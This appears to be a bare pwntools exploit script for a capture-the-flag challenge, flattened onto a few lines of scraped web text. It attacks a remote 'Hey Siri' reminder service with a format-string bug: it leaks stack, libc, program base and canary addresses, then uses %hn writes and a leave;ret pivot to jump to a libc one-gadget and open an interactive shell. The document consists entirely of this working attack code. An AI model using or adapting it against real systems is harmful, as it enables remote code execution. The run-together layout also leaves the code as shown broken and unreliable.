1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import*
p = remote('10.10.31.156',10003)
libc = ELF('/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6') p.sendlineafter('>>> ','Hey Siri!') offset = 14 p.sendlineafter('>>> ','Remind me to ' + 'BBBBAAAAAAAAStack:%46$pLIBC:%83$pPROC:%47$pCanary:%45$p') p.recvuntil('Stack:') stack = int(p.recv(14),16) - 288 log.info('Stack:\t' + hex(stack)) p.recvuntil('LIBC:') libc_base = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'] log.info('LIBC:\t' + hex(libc_base)) p.recvuntil('PROC:') proc_base = int(p.recv(14),16) - 0x144C log.info('Proc:\t' + hex(proc_base)) p.recvuntil('Canary:') canary = int(p.recv(18),16) log.info('Canary:\t' + hex(canary)) pop_rdi_ret = proc_base + 0x0152B leave_ret = proc_base + 0x12E2
rce = libc_base + +0x4527a open_sys = libc_base + libc.sym['open'] read_sys = libc_base + libc.sym['read'] puts = libc_base + libc.sym['puts'] p.sendlineafter('>>> ','Hey Siri!') off_1 = (((stack + 0x50)&0xFFFF)) off_2 = (leave_ret&0xFFFF)
if off_1 > off_2: payload = 'Remind me to ' + '%' + str((off_2 - 27)) + 'c%55$hn' + '%' + str((off_1 - off_2)) + 'c%56$hn' payload = payload.ljust(0x38,'\x00') payload += p64(stack + 8) + p64(stack) payload += p64(rce) else: payload = 'Remind me to ' + '%' + str((off_1 - 27)) + 'c%55$hn' + '%' + str((off_2 - off_1)) + 'c%56$hn' payload = payload.ljust(0x38,'\x00') payload += p64(stack) + p64(stack + 8) payload += p64(rce) p.sendlineafter('>>> ',payload) p.interactive()
|